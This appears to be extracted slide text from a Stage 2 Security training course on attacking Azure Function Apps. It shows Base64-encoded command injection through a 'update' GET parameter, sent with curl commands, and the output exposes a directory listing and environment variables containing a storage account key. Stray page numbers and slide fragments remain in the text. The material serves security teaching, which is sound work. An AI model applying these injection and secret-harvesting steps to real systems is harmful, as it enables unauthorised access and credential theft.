Azure Function Apps
Azure Function Apps
A Function App hosts and executes individual functions contained within the App.
We can see that the "update" GET parameter takes input in the form of a Base64 encoded string which decoded looks like
root@ip-10-0-1-251:~# echo -n "ZGlyIC9iIEQ6XGhvbWVcc2l0ZVx3d3dyb290XGd1aVx1cGRhdGVzXA==" | base64 -d
dir /b D:\home\site\wwwroot\gui\updates\
If we replace the value associated with this parameter to some other command (e.g. dir)...
root@ip-10-0-1-251:~# echo -n "dir" | base64
ZGly
And send that value to the web application, we see something similar to this:
root@ip-10-0-1-251:~# curl https://lizardblue.azurewebsites.net/api/gui?update=$(echo -n "dir" | base64)
...
07/16/2016 01:19 PM 286,208 AppIdPolicyEngineApi.dll
06/30/2018 03:48 AM 22,528 appidtel.exe
07/16/2016 01:23 PM <DIR> AppLocker
...
We can view the source code to the application via viewing the content of the D:\home\site\wwwroot\<Function_Name> directory.
21
Multiple Functions
Frequently multiple functions within the same web applications will have different secrets/keys which enable access to different portions of the apps (e.g. user access vs. admin access). If we gain RCE within a function
we can view and/or modify the encrypted version of these secrets/keys. Originally these secrets where stored within the D:\home\data\functions\secrets directory but have subsequently now been moved to a blob storage
container, so we can find the secrets to the blob storage container via viewing using the set command on the remote target to view the current environment variables:
20
root@ip-10-0-1-251:~# curl https://lizardblue.azurewebsites.net/api/gui?update=$(echo -n "set" | base64)
...
APPSETTING_AzureWebJobsStorage=DefaultEndpointsProtocol=https;AccountName=lizardbluea42f;AccountKey=5gn0iYpRCsqgCfSgW9lcIhZk2ZRTFt0YkCerv9sUw21d32o3RIaC+5QOVJzNhqchv62n7kx3WZ+0o506JdqIzA==
...
SA
Exercise
The Plan:
References:
Check out the following references for more information:
https://t.me/learningnets
Copyright ©2021 Stage 2 Security All rights reserved.
21
20
SA
U
BH
https://t.me/learningnets
Copyright ©2021 Stage 2 Security All rights reserved.